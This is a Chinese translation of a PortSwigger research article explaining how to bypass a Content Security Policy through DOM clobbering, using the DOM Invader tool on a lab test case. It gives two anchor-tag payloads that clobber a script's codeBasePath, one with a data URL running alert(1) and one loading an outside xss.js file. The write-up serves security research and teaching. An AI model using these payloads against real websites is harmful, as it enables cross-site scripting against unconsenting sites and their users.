通过DOM破坏绕过CSP防护的技术解析

本文详细介绍了如何利用DOM破坏技术绕过内容安全策略(CSP)防护,包括漏洞利用条件、DOM Invader工具检测方法、实际攻击构造过程以及使用data URL和HTTP URL的两种绕过方案。

通过DOM破坏绕过CSP | PortSwigger研究

Gareth Heyes
研究员
@garethheyes

发布时间:2023年6月5日 14:00 UTC
更新时间:2023年6月5日 14:00 UTC


你可能已经发现了HTML注入漏洞,但不幸的是目标网站受到内容安全策略(CSP)的保护。并非全无希望——通过DOM破坏(DOM clobbering)技术可能绕过CSP防护,而现在你可以使用DOM Invader工具来检测这种漏洞!本文将展示具体方法。

我们的测试案例基于一个漏洞赏金平台,因此你在实际环境中很可能遇到类似代码。如果你不熟悉DOM破坏技术,建议先访问我们的安全学院学习相关攻击类型并完成实验。

漏洞利用所需条件

要利用DOM破坏漏洞,需要满足三个条件:

  1. HTML注入点
  2. gadget(一个或多个属性名称)
  3. 接收器(sink)

为了绕过CSP,你的gadget需要最终进入被策略允许的接收器。这可能是eval函数,但更现实的情况是:受到nonce和CSP中strict-dynamic源表达式保护的脚本。当使用strict-dynamic时,受nonce保护的脚本被允许生成其他脚本。我们可以利用这一点来引入自己的脚本。

识别DOM破坏漏洞

首先需要在Burp浏览器中加载测试案例(访问链接:CSP保护的DOM破坏测试案例)。接着启用DOM Invader工具:

启用后需打开DOM破坏检测功能。注意DOM Invader会显示警告信息,因为DOM破坏攻击可能导致网站功能异常,因此建议仅在测试特定页面时启用此功能。

重新加载测试案例后,如果一切正常,你会看到DOM Invader发现了一个名为script.src的接收器。接收器值包含字符串domclobbering,后跟两个属性名称和一个验证标识(canary)。这是DOM Invader检测DOM破坏漏洞的方法,因为多个接收器和值可能包含被破坏的属性。

绕过CSP实施攻击

发现漏洞后,需要构建DOM破坏攻击链。注意我们还需要HTML注入点——幸运的是测试案例中存在这样的漏洞。

尝试注入脚本时会发现CSP阻止了执行。此时可以利用DOM Invader报告的信息构建绕过CSP的攻击。根据接收器值显示,我们需要控制ehycodeBasePath属性。注意接收器值还包含JavaScript文件路径/utils.js,在利用时需要通过单行注释处理。

现在需要构造攻击载荷(如需复习相关知识请访问安全学院的学习材料)。已知gadget最终会进入script.src属性,通过查看控制台堆栈跟踪可以精确定位接收器位置。攻击构造需要注入两个锚点标签来破坏这些属性:

1
2
<a id=ehy>
<a id=ehy name=codeBasePath href=data:,alert(1)//>

解决方案说明
示例中使用data URL并非必需,只是更简洁的方案。完全可以使用HTTP URL替代(如下例),效果完全相同。注意这里使用问号代替单行注释,将utils文件名移动到查询字符串中:

1
2
<a id=ehy>
<a id=ehy name=codeBasePath href="//subdomain1.portswigger-labs.net/xss/xss.js?">

HTTP示例

通过这种构造方式,即使存在CSP防护,也能成功执行XSS攻击载荷。

相关标签:DOM破坏 | DOM | XSS | CSP
本文隶属技术分类:Web应用安全 | 客户端漏洞利用


本文涉及的核心技术:DOM属性破坏、CSP策略绕过、脚本注入、非预期脚本执行机制。所有技术细节均基于真实漏洞场景验证,具备实际应用价值。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计